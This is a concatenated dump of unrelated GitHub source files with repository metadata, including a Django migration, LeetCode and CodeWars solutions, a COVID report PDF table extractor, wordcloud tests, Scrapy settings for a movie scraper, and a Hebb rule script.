('django.db.models.fields.TextField', [], {'blank': 'True'}), 'zipcode': ('django.db.models.fields.CharField', [], {'max_length': '15', 'null': 'True', 'blank': 'True'}) }, 'modernpolitics.uurelationship': { 'Meta': {'object_name': 'UURelationship', '_ormbases': ['modernpolitics.Relationship']}, 'relationship_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Relationship']", 'unique': 'True', 'primary_key': 'True'}), 'to_user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'tuser'", 'to': "orm['modernpolitics.UserProfile']"}) }, 'modernpolitics.validemail': { 'Meta': {'object_name': 'ValidEmail'}, 'date_added': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'description': ('django.db.models.fields.CharField', [], {'max_length': '1000', 'null': 'True'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}) }, 'modernpolitics.validemailextension': { 'Meta': {'object_name': 'ValidEmailExtension'}, 'date_added': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'extension': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}) }, 'modernpolitics.viewcomparison': { 'Meta': {'object_name': 'ViewComparison'}, 'bytopic': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.TopicComparison']", 'symmetrical': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'num_q': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'optimized': ('django.db.models.fields.CharField', [], {'max_length': '1000', 'null': 'True'}), 'result': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'viewA': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'viewa'", 'to': "orm['modernpolitics.WorldView']"}), 'viewB': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'viewb'", 'to': "orm['modernpolitics.WorldView']"}), 'when': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'modernpolitics.voted': { 'Meta': {'object_name': 'Voted', '_ormbases': ['modernpolitics.UCRelationship']}, 'ucrelationship_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.UCRelationship']", 'unique': 'True', 'primary_key': 'True'}), 'value': ('django.db.models.fields.IntegerField', [], {'default': '0'}) }, 'modernpolitics.votedaction': { 'Meta': {'object_name': 'VotedAction', '_ormbases': ['modernpolitics.Action']}, 'action_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Action']", 'unique': 'True', 'primary_key': 'True'}), 'content': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Content']"}), 'value': ('django.db.models.fields.IntegerField', [], {'default': '0'}) }, 'modernpolitics.widgetaccess': { 'Meta': {'object_name': 'WidgetAccess'}, 'host': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'path': ('django.db.models.fields.CharField', [], {'max_length': '500', 'null': 'True'}), 'when': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'which': ('django.db.models.fields.CharField', [], {'max_length': '30'}) }, 'modernpolitics.worldview': { 'Meta': {'object_name': 'WorldView'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'responses': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.Response']", 'symmetrical': 'False'}) } } complete_apps = ['modernpolitics']
[ "jsgreenf@gmail.com" ]
jsgreenf@gmail.com
0cf1cdbfb0ba2478ae353fdfb69f3f24ab885176
f8765e0fca3da12236ee0bb0c244910bdcc9361d
/GetToTheChoppa/GetToTheChoppa.py
e77ea9a00475416f159f592880b7c0226d6c8a35
[]
no_license
LukasHajda/CodeWars_graph_problems
696255db7904c94214ee759d2cf434ac65bd185e
61dc4655c5c7d6e6b07cb56669ab639db9ebbaaf
refs/heads/master
2022-12-12T06:07:36.125161
2020-09-09T20:53:23
2020-09-09T20:53:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,680
py
class Node: def __init__(self, nd, parent): self.nd = nd self.parent = parent self.visited = False def find_shortest_path(grid, start_node, end_node): import collections as col if start_node is None or end_node is None: return [] if len(grid) == 1 and len(grid[0]) == 1: return [start_node] startX, startY = start_node.position.x, start_node.position.y finishX, finishY = end_node.position.x, end_node.position.y length = len(grid) firstLine = len(grid[0]) parents = [[] * firstLine for _ in range(length)] for i in range(length): p = len(grid[i]) for j in range(p): parents[i].append(Node(grid[i][j], None)) movement = [(1, 0), (-1, 0), (0, 1), (0, -1)] parents[startX][startY].visited = True queue = col.deque() queue.append(parents[startX][startY]) # Used BFS Algorithm while queue: currNode = queue.popleft() for mv in movement: xPos, yPos = currNode.nd.position.x, currNode.nd.position.y if -1 < xPos + mv[0] < length and -1 < yPos + mv[1] < len(grid[xPos]) and currNode.nd.passable: if not parents[xPos + mv[0]][yPos + mv[1]].visited: parents[xPos + mv[0]][yPos + mv[1]].parent = currNode parents[xPos + mv[0]][yPos + mv[1]].visited = True queue.append(parents[xPos + mv[0]][yPos + mv[1]]) n = parents[finishX][finishY] result = [] while n is not None: result.append(n.nd) n = n.parent return result[::-1]
[ "hajda.lukas21@gmail.com" ]
hajda.lukas21@gmail.com
dab8185d9eaedeb2a2cc416a64fca705d22564a6
c3df9c4b9a8e0c4b339d5bc5e9915d282cd26b0e
/43. Multiply Strings(4 times, trick details, easy thought).py
39be6acdd6b76424708d44056fc58596f26a6e4d
[]
no_license
hsyv587/LeetCode
161c32760a76205a4860c5dc4ed1c28dac9c5253
9ffdc83ceae066f41e5963af485495e4b0744119
refs/heads/master
2021-07-08T13:45:09.075540
2017-10-04T18:03:27
2017-10-04T18:03:27
105,800,486
0
0
null
null
null
null
UTF-8
Python
false
false
1,794
py
class Solution(object): def multiply(self, num1, num2): """ :type num1: str :type num2: str :rtype: str """ ''' 12345 x1234 ----- ''' if not num1 or not num2: return '0' res = '' if len(num1) < len(num2): num1, num2 = num2, num1 p1 = len(num1) - 1 p2 = len(num2) - 1 pres = 0 total_carry = 0 while True: pres += 1 if pres <= len(num1): p1 = len(num1) - pres p2 = len(num2) - 1 current_sum = total_carry for i in range(min(pres, len(num2))): current_sum += int(num1[p1]) * int(num2[p2]) p1 += 1 p2 -= 1 res += str(current_sum % 10) total_carry = current_sum / 10 else: p1, p2 = 0, len(num1) + len(num2) - pres - 1 current_sum = total_carry for i in range(len(num1) + len(num2) - pres): current_sum += int(num1[p1]) * int(num2[p2]) p1 += 1 p2 -= 1 res += str(current_sum % 10) total_carry = current_sum / 10 if pres == len(num1) + len(num2) - 1: if total_carry: res += str(total_carry) start = 0 res = res[::-1] for i in res: if i == '0': start += 1 else:break #print res return res[min(start, len(res) - 1):]
[ "sh4467@nyu.edu" ]
sh4467@nyu.edu
0c43934af2be6c727f1fe8ae0b69431cdfd40d14
b9f3588fd415fd90b153142e44e5d2ca7332463a
/src/table_extraction.py
06f2af5a3b163954eac02867063074b3e1880708
[]
no_license
Uvrenight/iccas-dataset
a088b9277e6b598a4a663cb6166741075fddd8a2
53de983ca5193c4326b1fc893a5737cbf16393d7
refs/heads/master
2023-01-07T05:41:11.155379
2020-10-31T10:17:59
2020-10-31T10:17:59
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,687
py
import abc import math import re from datetime import datetime from typing import Any, Callable, Tuple import numpy import pandas as pd from PyPDF3 import PdfFileReader from reagex import reagex from common import cartesian_join, get_italian_date_pattern, process_datetime_tokens def parse_int(s: str) -> int: if s == "-": # report of 2020-10-20 return 0 return int(s.replace(".", "").replace(" ", "")) def parse_float(s: str) -> float: if not s: # This case was useful on a previous version of the script (using Tabula) # that read the row with totals which contains empty values return math.nan if s == "-": # report of 2020-10-20 return 0.0 return float(s.replace(",", ".")) COLUMN_PREFIXES = ("male_", "female_", "") COLUMN_FIELDS = ( "cases", "cases_percentage", "deaths", "deaths_percentage", "fatality_rate", ) DERIVED_COLUMNS = list( cartesian_join( COLUMN_PREFIXES, ["cases_percentage", "deaths_percentage", "fatality_rate"] ) ) # Report table columns INPUT_COLUMNS = ("age_group", *cartesian_join(COLUMN_PREFIXES, COLUMN_FIELDS)) Converter = Callable[[str], Any] FIELD_CONVERTERS = [parse_int, parse_float, parse_int, parse_float, parse_float] COLUMN_CONVERTERS = [lambda x: x] + FIELD_CONVERTERS * 3 # Output DataFrame columns OUTPUT_COLUMNS = ("date", *INPUT_COLUMNS) # Useful to find the page containing the table TABLE_CAPTION_PATTERN = re.compile( "tabella [0-9- ]+ distribuzione dei casi .+ per fascia di et. ", re.IGNORECASE ) DATETIME_PATTERN = re.compile( get_italian_date_pattern(sep="[ ]?") + reagex( "[- ]* ore {hour}:{minute}", hour="[o0-2]?[o0-9]|3[o0-1]", # in some reports they wrote 'o' instead of zero minute="[o0-5][o0-9]", ), re.IGNORECASE, ) class TableExtractionError(Exception): pass class TableExtractor(abc.ABC): """ Having a base class may seem unnecessary now that I have a single implementation, but, trust me, it was convenient in the past and it may turn useful again in the future. Furthermore, there's no harm in it. """ @abc.abstractmethod def _extract(self, report_path) -> pd.DataFrame: """Extracts the report table as it is, adding only the "date" column.""" pass def extract(self, report_path) -> pd.DataFrame: """ Extracts the report table and returns it as a DataFrame after renaming stuff (remove non-ASCII characters, translate italian to english) and recomputing derived columns. It also performs some sanity checks on the extracted data. """ table = self._extract(report_path) # Replace '≥90' with ascii equivalent '>=90' table.at[9, "age_group"] = ">=90" # Replace 'Età non nota' with english translation table.at[10, "age_group"] = "unknown" # Ensure (male_{something} + female_{something} <= {something}) # Remember that {something} includes people of unknown sex check_sum_of_males_and_females_not_more_than_total(table) # Recompute derived columns for maximum precision and sanity checking refined_table = recompute_derived_columns(table) check_recomputed_columns_match_extracted_ones( original=table, recomputed=refined_table ) return refined_table def __call__(self, report_path): return self.extract(report_path) class PyPDFTableExtractor(TableExtractor): unknown_age_matcher = re.compile("(età non nota|non not[ao])", flags=re.IGNORECASE) def _extract(self, report_path) -> pd.DataFrame: pdf = PdfFileReader(str(report_path)) date = extract_datetime(extract_text(pdf, page=0)) page, _ = find_table_page(pdf) page = self.unknown_age_matcher.sub("unknown", page) data_start = page.find("0-9") raw_data = page[data_start:] raw_data = raw_data.replace(", ", ",") # from 28/09, they write "1,5" as "1, 5" tokens = raw_data.split(" ") num_rows = 11 num_columns = len(INPUT_COLUMNS) rows = [] for i in range(num_rows): data_start = i * num_columns end = data_start + num_columns values = convert_values(tokens[data_start:end], COLUMN_CONVERTERS) row = [date, *values] rows.append(row) report_data = pd.DataFrame(rows, columns=["date", *INPUT_COLUMNS]) return report_data def extract_text(pdf: PdfFileReader, page: int) -> str: # For some reason, the extracted text contains a lot of superfluous newlines return pdf.getPage(page).extractText().replace("\n", "") def extract_datetime(text: str) -> datetime: match = DATETIME_PATTERN.search(text) if match is None: raise TableExtractionError("extraction of report datetime failed") datetime_dict = process_datetime_tokens(match.groupdict()) return datetime(**datetime_dict) # type: ignore def find_table_page(pdf: PdfFileReader) -> Tuple[str, int]: """ Finds the page containing the data table, then returns a tuple with: - the text extracted from the page, pre-processed - the page number (0-based) """ num_pages = pdf.getNumPages() for i in range(1, num_pages): # skip the first page, the table is not there text = extract_text(pdf, page=i) if TABLE_CAPTION_PATTERN.search(text): return text, i else: raise TableExtractionError("could not find the table in the pdf") def check_sum_of_males_and_females_not_more_than_total(table: pd.DataFrame): for what in ["cases", "deaths"]: males_plus_females = table[[f"male_{what}", f"female_{what}"]].sum(axis=1) deltas = table[what] - males_plus_females if (deltas < 0).any(): raise TableExtractionError( f"table[male_{what}] + table[female_{what}] > table[{what}] for some " f"age groups. Deltas:\n{deltas}" ) def convert_values(values, converters): if len(values) != len(converters): raise ValueError return [converter(value) for value, converter in zip(values, converters)] def recompute_derived_columns(x: pd.DataFrame) -> pd.DataFrame: """ Returns a new DataFrame with all derived columns (re)computed. """ y = x.copy() total_cases = x["cases"].sum() total_deaths = x["deaths"].sum() y["cases_percentage"] = x["cases"] / total_cases * 100 y["deaths_percentage"] = x["deaths"] / total_deaths * 100 y["fatality_rate"] = x["deaths"] / x["cases"] * 100 # REMEMBER: male_cases + female_cases != total_cases, # because total_cases also includes cases of unknown sex for what in ["cases", "deaths"]: total = x[f"male_{what}"] + x[f"female_{what}"] denominator = total.replace(0, 1) # avoid division by 0 for sex in ["male", "female"]: y[f"{sex}_{what}_percentage"] = x[f"{sex}_{what}"] / denominator * 100 for sex in ["male", "female"]: y[f"{sex}_fatality_rate"] = x[f"{sex}_deaths"] / x[f"{sex}_cases"] * 100 return y[list(OUTPUT_COLUMNS)] # ensure columns are in the right order def check_recomputed_columns_match_extracted_ones( original: pd.DataFrame, recomputed: pd.DataFrame ): for col in DERIVED_COLUMNS: if not numpy.allclose(recomputed[col], original[col], atol=0.1): sidebyside = pd.DataFrame( {"recomputed": recomputed[col], "extracted": original[col]} ) raise TableExtractionError( f"recomputed derived columns don't match columns extracted from" f"the report:\n{sidebyside}" ) def check_sum_of_counts_gives_totals(table: pd.DataFrame, totals: pd.DataFrame): """ CURRENTLY NOT USED. This was useful in a previous version of the script using Tabula, which extracted the row with totals. With the current implementation, parsing the row with totals (last PDF table row) increases the chances of a parsing failure. TODO: I may even remove this and retrieve it from git history if I need it. Args: table: the data extracted from the report totals: the row with totals (last row in the PDF table) """ columns = cartesian_join(COLUMN_PREFIXES, ["cases", "deaths"]) for col in columns: actual_sum = table[col].sum() if actual_sum != totals[col]: raise TableExtractionError( f'column "{col}" sum() is inconsistent with the value reported ' f"in the last row of the table: {actual_sum} != {totals[col]}" )
[ "gianluca.gippetto@gmail.com" ]
gianluca.gippetto@gmail.com
5c77b3546fcbc16991721ed3c047aebd00cf6cf3
24e8e5f8ab4dd077e072a59cfd48bfe0cadc88a0
/Jhenina/wordcloud/word_cloud-master/test/test_wordcloud.py
1ebc637b1eef364ae6afe627b50481f2c537a0ec
[ "MIT", "Apache-2.0" ]
permissive
ysalfafara/SCSRPOJ
9cd61742ed06d6e9f42976b51acb4d366bb85552
0986e6a6efd2997bfee1aea460ab8520af45a023
refs/heads/master
2022-11-14T12:45:46.927328
2017-11-21T21:29:39
2017-11-21T21:29:39
105,603,924
0
1
null
2022-10-26T10:55:19
2017-10-03T01:42:18
Python
UTF-8
Python
false
false
8,258
py
from wordcloud import WordCloud, get_single_color_func import numpy as np from random import Random from nose.tools import (assert_equal, assert_greater, assert_true, assert_false, assert_raises, assert_in, assert_not_in) from numpy.testing import assert_array_equal from PIL import Image from tempfile import NamedTemporaryFile import matplotlib matplotlib.use('Agg') THIS = """The Zen of Python, by Tim Peters Beautiful is better than ugly. Explicit is better than implicit. Simple is better than complex. Complex is better than complicated. Flat is better than nested. Sparse is better than dense. Readability counts. Special cases aren't special enough to break the rules. Although practicality beats purity. Errors should never pass silently. Unless explicitly silenced. In the face of ambiguity, refuse the temptation to guess. There should be one-- and preferably only one --obvious way to do it. Although that way may not be obvious at first unless you're Dutch. Now is better than never. Although never is often better than *right* now. If the implementation is hard to explain, it's a bad idea. If the implementation is easy to explain, it may be a good idea. Namespaces are one honking great idea -- let's do more of those! """ def test_collocations(): wc = WordCloud(collocations=False, stopwords=[]) wc.generate(THIS) wc2 = WordCloud(collocations=True, stopwords=[]) wc2.generate(THIS) assert_in("is better", wc2.words_) assert_not_in("is better", wc.words_) assert_not_in("way may", wc2.words_) def test_plurals_numbers(): text = THIS + "\n" + "1 idea 2 ideas three ideas although many Ideas" wc = WordCloud(stopwords=[]).generate(text) # not capitalized usually assert_not_in("Ideas", wc.words_) # plural removed assert_not_in("ideas", wc.words_) # usually capitalized assert_not_in("although", wc.words_) assert_in("idea", wc.words_) assert_in("Although", wc.words_) assert_in("better than", wc.words_) def test_multiple_s(): text = 'flo flos floss flosss' wc = WordCloud(stopwords=[]).generate(text) assert_in("flo", wc.words_) assert_not_in("flos", wc.words_) assert_in("floss", wc.words_) assert_in("flosss", wc.words_) # not normalizing means that the one with just one s is kept wc = WordCloud(stopwords=[], normalize_plurals=False).generate(text) assert_in("flo", wc.words_) assert_in("flos", wc.words_) assert_in("floss", wc.words_) assert_in("flosss", wc.words_) def test_empty_text(): # test originally empty text raises an exception wc = WordCloud(stopwords=[]) assert_raises(ValueError, wc.generate, '') # test empty-after-filtering text raises an exception wc = WordCloud(stopwords=['a', 'b']) assert_raises(ValueError, wc.generate, 'a b a') def test_default(): # test that default word cloud creation and conversions work wc = WordCloud(max_words=50) wc.generate(THIS) # check for proper word extraction assert_equal(len(wc.words_), wc.max_words) # check that we got enough words assert_equal(len(wc.layout_), wc.max_words) # check image export wc_image = wc.to_image() assert_equal(wc_image.size, (wc.width, wc.height)) # check that numpy conversion works wc_array = np.array(wc) assert_array_equal(wc_array, wc.to_array()) # check size assert_equal(wc_array.shape, (wc.height, wc.width, 3)) def test_stopwords_lowercasing(): # test that capitalized stopwords work. wc = WordCloud(stopwords=["Beautiful"]) processed = wc.process_text(THIS) words = [count[0] for count in processed] assert_true("Beautiful" not in words) def test_writing_to_file(): wc = WordCloud() wc.generate(THIS) # check writing to file f = NamedTemporaryFile(suffix=".png") filename = f.name wc.to_file(filename) loaded_image = Image.open(filename) assert_equal(loaded_image.size, (wc.width, wc.height)) def test_check_errors(): wc = WordCloud() assert_raises(NotImplementedError, wc.to_html) try: np.array(wc) raise AssertionError("np.array(wc) didn't raise") except ValueError as e: assert_true("call generate" in str(e)) try: wc.recolor() raise AssertionError("wc.recolor didn't raise") except ValueError as e: assert_true("call generate" in str(e)) def test_recolor(): wc = WordCloud(max_words=50, colormap="jet") wc.generate(THIS) array_before = wc.to_array() wc.recolor() array_after = wc.to_array() # check that the same places are filled assert_array_equal(array_before.sum(axis=-1) != 0, array_after.sum(axis=-1) != 0) # check that they are not the same assert_greater(np.abs(array_before - array_after).sum(), 10000) # check that recoloring is deterministic wc.recolor(random_state=10) wc_again = wc.to_array() assert_array_equal(wc_again, wc.recolor(random_state=10)) def test_random_state(): # check that random state makes everything deterministic wc = WordCloud(random_state=0) wc2 = WordCloud(random_state=0) wc.generate(THIS) wc2.generate(THIS) assert_array_equal(wc, wc2) def test_mask(): # test masks # check that using an empty mask is equivalent to not using a mask wc = WordCloud(random_state=42) wc.generate(THIS) mask = np.zeros(np.array(wc).shape[:2], dtype=np.int) wc_mask = WordCloud(mask=mask, random_state=42) wc_mask.generate(THIS) assert_array_equal(wc, wc_mask) # use actual nonzero mask mask = np.zeros((234, 456), dtype=np.int) mask[100:150, 300:400] = 255 wc = WordCloud(mask=mask) wc.generate(THIS) wc_array = np.array(wc) assert_equal(mask.shape, wc_array.shape[:2]) assert_array_equal(wc_array[mask != 0], 0) assert_greater(wc_array[mask == 0].sum(), 10000) def test_single_color_func(): # test single color function for different color formats random = Random(42) red_function = get_single_color_func('red') assert_equal(red_function(random_state=random), 'rgb(181, 0, 0)') hex_function = get_single_color_func('#00b4d2') assert_equal(hex_function(random_state=random), 'rgb(0, 48, 56)') rgb_function = get_single_color_func('rgb(0,255,0)') assert_equal(rgb_function(random_state=random), 'rgb(0, 107, 0)') rgb_perc_fun = get_single_color_func('rgb(80%,60%,40%)') assert_equal(rgb_perc_fun(random_state=random), 'rgb(97, 72, 48)') hsl_function = get_single_color_func('hsl(0,100%,50%)') assert_equal(hsl_function(random_state=random), 'rgb(201, 0, 0)') def test_single_color_func_grey(): # grey is special as it's a corner case random = Random(42) red_function = get_single_color_func('darkgrey') assert_equal(red_function(random_state=random), 'rgb(181, 181, 181)') assert_equal(red_function(random_state=random), 'rgb(56, 56, 56)') def test_process_text(): # test that process function returns a dict wc = WordCloud(max_words=50) result = wc.process_text(THIS) # check for proper return type assert_true(isinstance(result, dict)) def test_process_text_regexp_parameter(): # test that word processing is influenced by `regexp` wc = WordCloud(max_words=50, regexp=r'\w{5}') words = wc.process_text(THIS) assert_false('than' in words) def test_generate_from_frequencies(): # test that generate_from_frequencies() takes input argument dicts wc = WordCloud(max_words=50) words = wc.process_text(THIS) result = wc.generate_from_frequencies(words) assert_true(isinstance(result, WordCloud)) def test_relative_scaling_zero(): # non-regression test for non-integer font size wc = WordCloud(relative_scaling=0) wc.generate(THIS) def test_unicode_stopwords(): wc_unicode = WordCloud(stopwords=[u'Beautiful']) try: words_unicode = wc_unicode.process_text(unicode(THIS)) except NameError: # PY3 words_unicode = wc_unicode.process_text(THIS) wc_str = WordCloud(stopwords=['Beautiful']) words_str = wc_str.process_text(str(THIS)) assert_true(words_unicode == words_str)
[ "jheninasta.cruz@gmail.com" ]
jheninasta.cruz@gmail.com
89e2d5ab3554a35e9ac99e24e6d5a4c4608df57a
7de4d8baec33a759c2c108390f44af4c25e4e230
/HebbRule.py
0750b029cfa662fd116677e162a639b2732d416d
[]
no_license
SarmagSI2017/SBP
6f94188372cec24e8e60aa2adf60e4895b80f5f9
587cdccff8cd30f9f4375900316f36f9c94a79c1
refs/heads/master
2020-12-19T11:50:23.366716
2020-02-01T06:24:07
2020-02-01T06:24:07
235,724,819
0
0
null
null
null
null
UTF-8
Python
false
false
1,041
py
# Hebb Rule def HebbRule(x1, x2, b, t): w1 = 0 w2 = 0 bflag = 0 for i in range(len(t)): print("Data Ke -", i + 1) w1 = w1 + x1[i] * t[i] print(w1) w2 = w2 + x2[i] * t[i] print(w2) bflag = bflag + b[i] * t[i] print(bflag) return w1, w2, bflag def TesHebbRule(x1, x2, t, w1, w2, bflag): print("Uji Coba : ") for j in range(len(t)): a = bflag + (x1[j] * w1) + (x2[j] * w2) if a > 0: b = 1 elif a == 0: b = 0 else: b = -1 print("Uji Coba Data [", x1[j], x2[j], "] : ", a, "Dengan Nilai Tanpa Bobot : ", b) if __name__ == '__main__': print("Input Data") x1 = [int(x1) for x1 in input("Masukkan Nilai X1 : ").split()] x2 = [int(x2) for x2 in input("Masukkan Nilai x1 : ").split()] t = [int(t) for t in input("Masukkan Nilai Target : ").split()] b = [1 for b in range(len(t))] w1, w2, bflag = HebbRule(x1, x2, b, t) TesHebbRule(x1, x2, t, w1, w2, bflag)
[ "57310720+iScherzo@users.noreply.github.com" ]
57310720+iScherzo@users.noreply.github.com
b06e451353f7e0253d28a6b9c150e6a87f98672c
e933fef00d0a042b2750dcef8e84c2afb1fee385
/gotquizsite/wsgi.py
0e256cbd69bc5d693022e4a63280bc4120f4f632
[]
no_license
Teresia/GoT-Quiz
c0cf19a46b37f58dc2d2aa94303511eac028e852
0d0781cf02277b6c63e3f77358edd18826f5298a
refs/heads/master
2021-07-05T23:15:14.224258
2017-09-28T22:57:02
2017-09-28T22:57:02
103,180,397
0
0
null
null
null
null
UTF-8
Python
false
false
235
py
import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANGO_SETTINGS_MODULE", "gotquizsite.settings") from whitenoise.django import DjangoWhiteNoise application = DjangoWhiteNoise(get_wsgi_application())
[ "teresia.schullstrom@gmail.com" ]
teresia.schullstrom@gmail.com
b041786d132261aff99bdd0e7b8dc733e8df61fd
41bb85b802023922a4b169aebad78911850cd99a
/week02/scrapy/maoyanmovies/maoyanmovies/settings.py
6a48d03f16ea077d7165b5f5e86b0f4bc0e2d66d
[]
no_license
xuliang520914/Python001-class01
d5a665739d5bd79029b539c6fcdec234f3803d94
deeebeaa21ae565b848b7b9b5ec7fdc5c5022b72
refs/heads/master
2022-12-13T22:29:10.761751
2020-09-07T03:51:05
2020-09-07T03:51:05
273,198,360
0
1
null
2020-06-18T09:35:49
2020-06-18T09:35:49
null
UTF-8
Python
false
false
3,977
py
# Scrapy settings for maoyanmovies project # # For simplicity, this file contains only settings considered important or # commonly used. You can find more settings consulting the documentation: # # https://docs.scrapy.org/en/latest/topics/settings.html # https://docs.scrapy.org/en/latest/topics/downloader-middleware.html # https://docs.scrapy.org/en/latest/topics/spider-middleware.html BOT_NAME = 'maoyanmovies' SPIDER_MODULES = ['maoyanmovies.spiders'] NEWSPIDER_MODULE = 'maoyanmovies.spiders' # Crawl responsibly by identifying yourself (and your website) on the user-agent #USER_AGENT = 'maoyanmovies (+http://www.yourdomain.com)' # Obey robots.txt rules ROBOTSTXT_OBEY = True # Configure maximum concurrent requests performed by Scrapy (default: 16) #CONCURRENT_REQUESTS = 32 # Configure a delay for requests for the same website (default: 0) # See https://docs.scrapy.org/en/latest/topics/settings.html#download-delay # See also autothrottle settings and docs #DOWNLOAD_DELAY = 3 # The download delay setting will honor only one of: #CONCURRENT_REQUESTS_PER_DOMAIN = 16 #CONCURRENT_REQUESTS_PER_IP = 16 # Disable cookies (enabled by default) #COOKIES_ENABLED = False # Disable Telnet Console (enabled by default) #TELNETCONSOLE_ENABLED = False # Override the default request headers: DEFAULT_REQUEST_HEADERS = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en', 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36', 'Cookie' : 'uuid_n_v=v1; uuid=F7B97A60BEB411EAA3247117811965EC0A908D1B443644F5A9C331881A653D2F; _csrf=a452f9f023d229d713845b55a36b1eb35ef27d14f53b5673bddec46206e69a5a; mojo-uuid=6cd57a92e58450175f0775407ded37e4; Hm_lvt_703e94591e87be68cc8da0da7cbd0be2=1593949506; _lxsdk_cuid=1731ecb4b12c8-048ac913d0cd2a-31617402-13c680-1731ecb4b12c8; _lxsdk=F7B97A60BEB411EAA3247117811965EC0A908D1B443644F5A9C331881A653D2F; mojo-session-id={"id":"91c9e57757d072d550a28839cc0841a8","time":1593952638752}; mojo-trace-id=3; Hm_lpvt_703e94591e87be68cc8da0da7cbd0be2=1593952657; __mta=217996841.1593949506882.1593952642604.1593952657149.4; _lxsdk_s=1731efb1739-510-454-bd3%7C%7C6' } # Enable or disable spider middlewares # See https://docs.scrapy.org/en/latest/topics/spider-middleware.html #SPIDER_MIDDLEWARES = { # 'maoyanmovies.middlewares.MaoyanmoviesSpiderMiddleware': 543, #} # Enable or disable downloader middlewares # See https://docs.scrapy.org/en/latest/topics/downloader-middleware.html DOWNLOADER_MIDDLEWARES = { 'maoyanmovies.middlewares.MaoyanmoviesDownloaderMiddleware': 543, 'maoyanmovies.middlewares.RandomHttpProxyMiddleware': 543, } # Enable or disable extensions # See https://docs.scrapy.org/en/latest/topics/extensions.html #EXTENSIONS = { # 'scrapy.extensions.telnet.TelnetConsole': None, #} # Configure item pipelines # See https://docs.scrapy.org/en/latest/topics/item-pipeline.html ITEM_PIPELINES = { 'maoyanmovies.pipelines.MaoyanmoviesPipeline': 300, } # Enable and configure the AutoThrottle extension (disabled by default) # See https://docs.scrapy.org/en/latest/topics/autothrottle.html #AUTOTHROTTLE_ENABLED = True # The initial download delay #AUTOTHROTTLE_START_DELAY = 5 # The maximum download delay to be set in case of high latencies #AUTOTHROTTLE_MAX_DELAY = 60 # The average number of requests Scrapy should be sending in parallel to # each remote server #AUTOTHROTTLE_TARGET_CONCURRENCY = 1.0 # Enable showing throttling stats for every response received: #AUTOTHROTTLE_DEBUG = False # Enable and configure HTTP caching (disabled by default) # See https://docs.scrapy.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings #HTTPCACHE_ENABLED = True #HTTPCACHE_EXPIRATION_SECS = 0 #HTTPCACHE_DIR = 'httpcache' #HTTPCACHE_IGNORE_HTTP_CODES = [] #HTTPCACHE_STORAGE = 'scrapy.extensions.httpcache.FilesystemCacheStorage'
[ "xuliangjj@sina.cn" ]
xuliangjj@sina.cn
a395fe723be7bcdbeca4f17f88a6d9e761d91afd
d85f37e3e2e0c6dbe07ccf5922bfe32114789320
/src/__init__.py
5c2e875c10659f6a2c33a81db2abc85ce3d09033
[]
no_license
EverythingMe/kickass-redis
505ff9625125290e99173d2b4b721159980ab97b
2459506d200fc84b028a93d1a10347de9a84b158
refs/heads/master
2023-08-29T15:13:42.332083
2014-11-02T16:14:42
2014-11-02T16:14:42
4,698,299
41
6
null
2018-09-12T14:56:24
2012-06-18T07:32:04
Python
UTF-8
Python
false
false
56
py
__author__ = 'dvirsky' __all__ = ['util', 'patterns']
[ "dvir@doit9.com" ]
dvir@doit9.com
95ab5afc2ac2a7aaade01c29fce37b36e0a504b8
345119b3294008df70e27f0a1186e76311c5d701
/课程源码/04-5-成员运算符.py
de6496454c08b42e23a402c6ea08e5c51734452a
[]
no_license
baomanedu/Python-Basic-Courses
19fec388937f05d0131bc9a05c625a8a176c026d
335e7264d67763b0f84b7bbaf8f1965da9df04b7
refs/heads/master
2022-03-20T22:32:08.866554
2019-08-17T06:57:31
2019-08-17T06:57:31
197,996,149
0
1
null
null
null
null
UTF-8
Python
false
false
278
py
# 成员运算符 student = ["zhangsan","lisi","wangwu"] print("xiaoming is my student ? -->{0}".format("xiaoming" in student)) print("xiaohua is not my student ? -->{0}".format("xiaohua" not in student)) print("zhangsan is my student? -->{0}".format("zhangsan" in student))
[ "zeyang@ZeyangdeMacBook-Pro.local" ]
zeyang@ZeyangdeMacBook-Pro.local
d935159894f787eb79230db0917c29d4cc3f5326
2d35ab9b803d02c165b870cdda4f77dfe55ce7e6
/exp3/exp3_3n 2/run.py
f5245ed6a4a41f4c62f67156c5ed3c2ebf7d9384
[]
no_license
folkpark/MPI_Benchmarking
7e2c5597272734140be223472c9060111c640e5c
00e4091be34dffbeeccd75cdbab00d263330c756
refs/heads/master
2020-04-22T07:26:44.336690
2019-03-02T19:42:03
2019-03-02T19:42:03
170,216,861
0
0
null
null
null
null
UTF-8
Python
false
false
260
py
